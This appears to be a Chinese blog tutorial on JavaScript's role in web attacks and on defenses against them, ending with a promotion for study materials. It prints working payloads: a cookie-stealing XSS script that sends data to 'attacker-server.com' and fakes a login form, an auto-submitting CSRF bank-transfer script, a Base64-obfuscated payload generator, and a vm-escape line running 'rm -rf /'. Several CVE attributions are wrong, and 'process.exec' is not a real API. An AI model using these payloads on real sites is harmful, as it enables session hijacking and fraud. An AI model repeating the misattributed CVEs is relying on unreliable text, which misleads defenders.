作为 Web 前端的核心编程语言,JavaScript(简称 JS)支撑了 99% 以上现代网站的交互逻辑 —— 从表单验证、页面渲染到异步数据请求,几乎所有客户端动态行为都依赖 JS 实现。其 “浏览器原生支持”“跨平台兼容”“前后端通吃(客户端 JS + 服务器端 Node.js)” 的特性,使其成为全球使用最广泛的脚本语言之一。
但这种普及性也让 JS 成为黑客攻击的 “天然载体”:一方面,浏览器对 JS 的执行权限默认开放,为恶意代码注入提供了便利;另一方面,前端框架、第三方库、Node.js 生态的复杂依赖链,也催生了大量可被利用的安全漏洞。从早期的 XSS 攻击到如今的 Node.js 代码执行漏洞,JS 贯穿了 Web 安全攻防的全链路,理解 JS 在黑客技术中的应用,是掌握 Web 安全的核心前提。
一、JavaScript 在 Web 攻击中的核心应用场景
JS 在 Web 攻击中的价值,本质是 “借助其客户端执行能力与 DOM 操作权限,突破浏览器安全边界,窃取数据或控制终端”。以下四大场景是黑客利用 JS 发起攻击的主要方式,覆盖了 80% 以上的 Web 客户端安全事件。
1. XSS 攻击:以 JS 为核心的客户端代码注入
跨站脚本攻击(XSS)是最典型的 JS 攻击场景,其本质是 “攻击者将恶意 JS 代码注入到网页中,由浏览器执行后窃取用户数据或劫持会话”。根据代码注入方式的不同,XSS 可分为三类,每一类都完全依赖 JS 实现攻击链。
(1)存储型 XSS:持久化的 JS 恶意代码
-
攻击流程:攻击者将恶意 JS 代码(如窃取 Cookie 的脚本)提交到服务器(如评论区、用户资料页),服务器存储后,在其他用户访问该页面时将代码返回给浏览器,浏览器执行 JS 完成攻击。
-
JS 核心作用:恶意 JS 代码直接在受害者浏览器中执行,可实现 “会话劫持”“键盘记录”“页面篡改” 等功能。
-
典型 Payload 示例:
// 存储型XSS Payload:窃取用户Cookie并发送至攻击者服务器 <script> // 收集Cookie、用户代理信息 const stealData = `cookie=${document.cookie}&ua=${navigator.userAgent}`; // 通过隐藏请求将数据发送给攻击者 fetch('http://attacker-server.com/steal?' + stealData, { method: 'GET', mode: 'no-cors' // 绕过跨域限制 }); // 同时篡改页面内容,诱导用户输入更多信息 document.body.innerHTML = '<h1>账户异常,请重新登录</h1><input type="text" placeholder="用户名"><input type="password" placeholder="密码"><button>登录</button>'; </script>
(2)反射型 XSS:URL 携带的临时 JS 代码
- 攻击流程:攻击者构造包含 JS 代码的 URL(如
http://target.com/search?key=<script>恶意代码</script>),诱导受害者点击后,服务器将 URL 中的 JS 代码 “反射” 回浏览器执行。 - JS 核心作用:临时执行恶意代码,常用于 “钓鱼攻击”“一次性会话窃取”,如诱导用户点击链接后,立即获取其登录状态。
(3)DOM 型 XSS:JS 操作 DOM 引发的漏洞
- 攻击流程:页面 JS 代码直接使用 URL 参数、本地存储等用户可控数据操作 DOM(如
document.write(location.hash)),攻击者通过构造特殊参数(如#<script>恶意代码</script>),让 JS 执行恶意逻辑。 - JS 核心作用:漏洞根源是 “不安全的 DOM 操作”,攻击不依赖服务器存储,完全在客户端完成,隐蔽性更强。
XSS 攻击的危害量级
XSS 是 Web 安全中发生率最高的漏洞之一,根据 OWASP 2024 年报告,XSS 漏洞占所有 Web 漏洞的 34%,其危害可覆盖从个人用户数据泄露到企业内网渗透的全场景。
2. CSRF 攻击:JS 辅助的跨站请求伪造
跨站请求伪造(CSRF)的核心是 “利用用户已登录的会话状态,诱导其发起非本意的请求”,而 JS 是实现 “自动化请求构造” 的关键工具。
-
攻击原理:用户登录 A 网站(如银行)后,会话 Cookie 保存在浏览器中;此时若用户访问攻击者控制的 B 网站,B 网站的 JS 代码可自动构造 A 网站的请求(如转账、修改密码),浏览器会自动携带 A 网站的 Cookie,导致请求被成功执行。
-
JS 核心作用:自动生成表单提交、AJAX 请求,无需用户手动操作即可完成攻击。
-
典型攻击代码示例:
// CSRF攻击:自动提交转账请求 window.onload = function() { // 构造银行转账的表单 const form = document.createElement('form'); form.action = 'http://bank.com/transfer'; // 目标网站接口 form.method = 'POST'; // 添加转账参数(收款人、金额) const toInput = document.createElement('input'); toInput.name = 'toAccount'; toInput.value = 'attacker-account-123'; form.appendChild(toInput); const moneyInput = document.createElement('input'); moneyInput.name = 'amount'; moneyInput.value = '10000'; form.appendChild(moneyInput); // 隐藏表单并自动提交 form.style.display = 'none'; document.body.appendChild(form); form.submit(); };
3. CORS 配置不当:JS 跨域获取敏感数据
跨域资源共享(CORS)是浏览器的安全机制,用于限制 JS 跨域请求的权限。若服务器 CORS 配置宽松(如Access-Control-Allow-Origin: *),攻击者可利用 JS 跨域获取敏感数据。
- 攻击流程:
- 攻击者控制的网站通过 JS 发起跨域请求,访问目标服务器的敏感接口(如
http://target.com/api/user-info); - 因目标服务器 CORS 配置允许所有域名访问,浏览器会将用户的敏感数据(如个人信息、权限令牌)返回给攻击者的 JS 代码;
- JS 将数据发送至攻击者服务器,完成数据窃取。
- 攻击者控制的网站通过 JS 发起跨域请求,访问目标服务器的敏感接口(如
- JS 核心作用:作为跨域请求的发起者和数据接收者,直接突破浏览器的 “同源策略” 限制(同源策略本应禁止跨域获取数据)。
4. DOM 型漏洞:JS 操作引发的客户端安全风险
除 DOM XSS 外,JS 在操作 DOM、BOM(浏览器对象模型)时还可能引发其他漏洞,如 “路径遍历”“本地文件读取” 等,这些漏洞虽不依赖服务器,但其危害同样严重。
-
典型案例:DOM 路径遍历漏洞:
页面 JS 通过
location.hash获取用户输入的文件路径,并通过document.getElementById('file-content').innerText = loadFile(hashValue)读取本地文件。若loadFile函数未过滤,../等特殊字符,攻击者可构造#../../etc/passwd(Linux)或#../../windows/system32/drivers/etc/hosts(Windows),让 JS 读取本地敏感文件。 -
漏洞根源:JS 对用户可控数据的 “未过滤处理”,导致攻击者可篡改操作对象(如文件路径、DOM 节点)。
二、JavaScript 在漏洞利用中的关键作用
除了直接发起 Web 攻击,JS 还在 “框架漏洞”“第三方库漏洞”“服务器端漏洞” 的利用中扮演核心角色,尤其是 Node.js 生态的普及,让 JS 的攻击面从客户端延伸到了服务器端。
1. 前端框架漏洞:Vue/React 的 JS 生态风险
主流前端框架(Vue、React、Angular)虽内置安全机制,但仍存在可被利用的 JS 相关漏洞,典型场景包括:
(1)Vue.js 模板注入漏洞(CVE-2021-26295)
- 漏洞原理:Vue 的
v-html指令或template选项若接收用户可控数据,且未做过滤,攻击者可注入包含 JS 的模板代码(如<script>标签、{{}}表达式),导致 JS 执行。 - 利用方式:攻击者构造
http://vue-app.com/#<template><script>alert(document.cookie)</script></template>,Vue 渲染模板时会执行恶意 JS。
(2)React DOM XSS 漏洞(旧版本)
- 漏洞原理:React 的
dangerouslySetInnerHTML属性若直接接收用户输入,会绕过 React 的 XSS 过滤机制,导致恶意 JS 执行。 - JS 核心作用:框架漏洞的利用最终都依赖 JS 代码的执行,框架本身的安全机制失效后,JS 成为攻击的 “最后一环”。
2. 第三方库漏洞:jQuery 等组件的安全隐患
前端项目普遍依赖第三方 JS 库(如 jQuery、Lodash、Bootstrap),这些库的漏洞可被直接用于攻击,其中 “原型污染”“XSS” 是最常见的类型。
(1)jQuery 旧版本 XSS 漏洞(CVE-2019-11358)
- 漏洞范围:jQuery 3.4.0 及之前版本;
- 漏洞原理:
jQuery.html()函数在解析 HTML 时,若包含<script>标签且标签内有//注释,会导致 JS 代码被执行(如<script>//<![CDATA[alert(1)//]]></script>); - 利用方式:攻击者在用户可控数据中注入上述代码,页面调用
jQuery.html()渲染时,会执行恶意 JS。
(2)Lodash 原型污染漏洞(CVE-2019-10744)
- 漏洞原理:Lodash 的
merge、defaultsDeep等函数未过滤__proto__(原型链属性),攻击者可通过注入{"__proto__":{"toString":"恶意JS"}}篡改对象原型,导致所有对象的toString方法被替换为恶意 JS。 - 危害:若服务器端 Node.js 项目使用存在漏洞的 Lodash 版本,攻击者可通过该漏洞执行 JS 代码,进而控制服务器。
3. Node.js 服务器端漏洞:JS 运行时的攻击面
Node.js 让 JS 可用于服务器端开发,但也带来了新的安全风险 ——JS 在服务器端可操作文件系统、执行系统命令,一旦存在漏洞,危害远大于客户端攻击。
(1)Node.js 路径遍历漏洞(典型场景)
- 漏洞原理:服务器端 JS 代码通过
req.query.path获取用户输入的文件路径,并通过fs.readFile(path, (err, data) => {})读取文件。若未过滤../,攻击者可构造/read?path=../../etc/passwd,让 JS 读取服务器敏感文件。 - JS 核心作用:作为文件操作的发起者,JS 直接与服务器文件系统交互,未过滤的用户输入导致 “越权访问”。
(2)Node.js 代码执行漏洞(CVE-2022-25883)
- 漏洞原理:Node.js 的
vm模块(沙箱模块)在某些场景下可被突破,攻击者通过构造特殊的 JS 代码(如this.constructor.constructor('return process')()),可获取process对象,进而执行系统命令(如process.exec('rm -rf /'))。 - 危害:完全控制服务器,实现 “远程代码执行(RCE)”,这是服务器端最严重的漏洞类型之一。
三、JavaScript 在攻击工具开发中的实践
黑客不仅利用 JS 发起攻击,还会基于 JS 开发自动化攻击工具,降低攻击门槛、提高攻击效率。这些工具主要分为 “客户端脚本”“浏览器插件”“Node.js 自动化工具” 三类。
1. 客户端攻击脚本:XSS Payload 与 DOM 扫描工具
攻击者会编写通用的 JS 脚本,用于快速发起攻击或检测漏洞,典型工具包括:
(1)XSS Payload 生成器
-
功能:自动生成适配不同场景的 XSS Payload(如绕过 WAF 的编码 Payload、支持 HTTPS 的窃取脚本);
-
JS 核心逻辑
通过字符串拼接、编码转换(如 URL 编码、Base64 编码)生成可执行的恶意代码,示例:
// 简易XSS Payload生成器 function generateXSSPayload(attackerServer) { // 对Payload进行Base64编码,绕过简单WAF const base64Script = btoa(`fetch('${attackerServer}?cookie='+document.cookie)`); // 返回编码后的Payload return `<script>eval(atob('${base64Script}'))</script>`; } // 使用:生成指向攻击者服务器的Payload const payload = generateXSSPayload('http://attacker.com/steal'); console.log(payload); // 输出:<script>eval(atob('ZmV0Y2goJ2h0dHA6Ly9hdHRhY2tlci5jb20vc3RlYWw/...'))</script>
(2)DOM 漏洞扫描脚本
- 功能:自动检测页面中的 DOM XSS、路径遍历等漏洞,通过注入测试参数(如
<script>test</script>、../)并检测是否执行; - JS 核心逻辑:遍历页面中所有使用用户可控数据(URL 参数、localStorage)的 DOM 操作函数,注入测试数据并判断是否触发漏洞。
2. 浏览器插件攻击:JS 驱动的恶意扩展
浏览器插件(如 Chrome 扩展、Firefox 附加组件)以 JS 为核心开发语言,攻击者可开发恶意插件,实现 “持久化监控”“全页面劫持” 等功能:
- 典型功能:
- 监控用户所有网页的表单输入(通过 JS 监听
input事件),窃取账号密码; - 篡改页面内容(如替换电商网站的支付链接为攻击者链接);
- 自动点击页面按钮(如诱导用户关注恶意账号、下载恶意软件)。
- 监控用户所有网页的表单输入(通过 JS 监听
- 隐蔽性:插件获取用户授权后,可长期驻留浏览器,JS 代码在后台持续执行,不易被察觉。
3. Node.js 自动化攻击工具:批量漏洞检测与利用
基于 Node.js 的跨平台特性,攻击者可开发批量攻击工具,用于 “漏洞扫描”“批量渗透”:
(1)批量 XSS 漏洞扫描工具
-
功能:输入目标网站列表,工具通过 Node.js 的
request库发送包含 XSS 测试 Payload 的请求,检测页面是否返回并执行 Payload; -
JS 核心逻辑:
const request = require('request'); const targets = ['http://target1.com', 'http://target2.com']; // 目标列表 const testPayload = '<script>alert("xss-test")</script>'; // 测试Payload // 批量扫描每个目标 targets.forEach(target => { const testUrl = `${target}/search?key=${encodeURIComponent(testPayload)}`; request(testUrl, (err, res, body) => { // 若页面返回中包含Payload,说明可能存在XSS漏洞 if (body.includes(testPayload)) { console.log(`[+] 发现XSS漏洞:${testUrl}`); } }); });
(2)Node.js 漏洞利用框架
- 功能:集成多种 Node.js 漏洞的利用脚本(如路径遍历、代码执行),支持批量攻击服务器;
- 典型案例:
node-exploit-framework,内置 20 + 种 Node.js 漏洞的利用模块,攻击者只需输入目标 IP 和端口,即可自动尝试漏洞利用。
四、针对 JavaScript 攻击的防御策略
JS 的攻击风险并非不可控,针对上述场景,可从 “客户端安全”“服务器端配置”“开发规范” 三个维度建立防御体系,以下是关键防御措施:
1. XSS 防御:阻断恶意 JS 执行
-
(1)输入过滤与输出编码:
- 服务器端对用户输入的特殊字符(如
<、>、'、")进行转义(如<转义为<); - 客户端使用
textContent替代innerHTML、document.write等危险 DOM 操作(textContent不会解析 HTML,仅渲染文本)。
- 服务器端对用户输入的特殊字符(如
-
(2)Content-Security-Policy(CSP):
通过 HTTP 响应头配置 CSP,限制 JS 的执行源(如仅允许加载自家域名和可信 CDN 的 JS),示例:
Content-Security-Policy: default-src 'self'; // 默认仅允许同源资源 script-src 'self' https://cdn.trusted.com; // 仅允许同源和可信CDN的JS style-src 'self'; img-src 'self' data:; object-src 'none'; // 禁止加载插件(如Flash)CSP 可直接阻断未授权的 JS 执行,是防御 XSS 的最有效手段之一。
-
(3)使用 HttpOnly Cookie:
为敏感 Cookie(如会话 Cookie)添加
HttpOnly属性,禁止 JS 通过document.cookie获取 Cookie,从根源上阻止 XSS 窃取会话。
2. CSRF 防御:验证请求合法性
-
(1)添加 CSRF Token:
服务器为每个登录用户生成唯一的 CSRF Token,嵌入表单或 AJAX 请求中;客户端提交请求时需携带 Token,服务器验证 Token 有效性,防止未授权请求。
-
(2)检查 Referer/Origin 头:
服务器验证请求的
Referer(请求来源页面)或Origin(请求来源域名),仅允许可信域名的请求(如Referer: http://target.com)。
3. Node.js 服务器端防御
-
(1)过滤用户可控数据:
对
req.query、req.body等用户输入的路径、参数进行严格过滤,禁止../、\等特殊字符,防止路径遍历;使用
path.resolve()或path.join()等安全函数处理文件路径,示例:const path = require('path'); const safePath = path.resolve(__dirname, 'public', req.query.path); // 限制路径在public目录内 // 检查safePath是否在public目录内,防止越权 if (!safePath.startsWith(path.resolve(__dirname, 'public'))) { return res.status(403).send('非法路径'); } -
(2)管理依赖包安全
使用
npm audit或snyk工具定期扫描 Node.js 依赖包的漏洞,及时更新存在风险的库(如 Lodash、jQuery);避免使用来源不明的第三方库,减少漏洞引入风险。
-
(3)限制 JS 执行权限:
禁用 Node.js 的危险 API(如
process.exec、child_process),或通过沙箱模块(如isolated-vm,比原生vm更安全)限制 JS 的执行权限,防止代码执行漏洞。
4. 前端框架与库防御
-
(1)使用最新版本框架:
及时更新 Vue、React 等框架到最新安全版本,修复已知漏洞(如 Vue 的模板注入、React 的
dangerouslySetInnerHTML风险); -
(2)谨慎使用危险 API:
避免使用
v-html(Vue)、dangerouslySetInnerHTML(React)等绕过框架安全机制的 API;若必须使用,需对输入进行严格过滤。
结语:JavaScript 安全的攻防平衡
JavaScript 本身并非 “不安全的语言”,其在黑客技术中的广泛应用,本质是 “普及性” 与 “功能灵活性” 的副产品 —— 正因为 JS 能深度操控客户端与服务器端,它才既是 Web 开发的核心工具,也是黑客攻击的核心载体。
对于开发者而言,理解 JS 的安全风险不是 “要放弃 JS”,而是 “要更懂 JS”:既要掌握 JS 的强大功能,也要清楚其安全边界,通过 “输入过滤”“权限控制”“实时监控” 等手段阻断攻击路径;对于安全研究者而言,JS 的攻击场景仍在不断演化(如 WebAssembly 与 JS 的结合、AI 驱动的 JS 攻击脚本),持续探索 JS 的安全攻防,是 Web 安全领域的永恒课题。
最终,JS 的安全平衡需要 “开发规范”“技术防御”“人员意识” 三者结合 —— 只有让安全融入 JS 开发的全流程,才能真正发挥 JS 的价值,同时规避其风险。
附录:JavaScript 攻击场景与防御措施对应表
| 攻击场景 | 核心 JS 作用 | 防御措施 |
|---|---|---|
| 存储型 XSS | 持久化执行恶意代码 | CSP、HttpOnly Cookie、输入输出编码 |
| 反射型 XSS | 临时执行恶意代码 | CSP、URL 参数过滤 |
| DOM 型 XSS | 不安全 DOM 操作引发漏洞 | 禁用危险 DOM API(如 innerHTML)、输入过滤 |
| CSRF | 自动构造跨站请求 | CSRF Token、Referer/Origin 验证 |
| CORS 配置不当 | 跨域获取敏感数据 | 严格配置 Access-Control-Allow-Origin |
| Node.js 路径遍历 | 操作服务器文件系统 | 路径过滤、使用 path.resolve () |
| Node.js 代码执行 | 突破沙箱执行系统命令 | 禁用危险 API、使用安全沙箱模块(isolated-vm) |
| 前端框架漏洞(Vue/React) | 利用框架 API 执行恶意代码 | 更新框架到最新版本、禁用危险 API |
网络安全学习资源分享:
给大家分享一份全套的网络安全学习资料,给那些想学习 网络安全的小伙伴们一点帮助!
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。
因篇幅有限,仅展示部分资料,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,请看下方扫描即可前往获取



31万+

被折叠的 条评论
为什么被折叠?



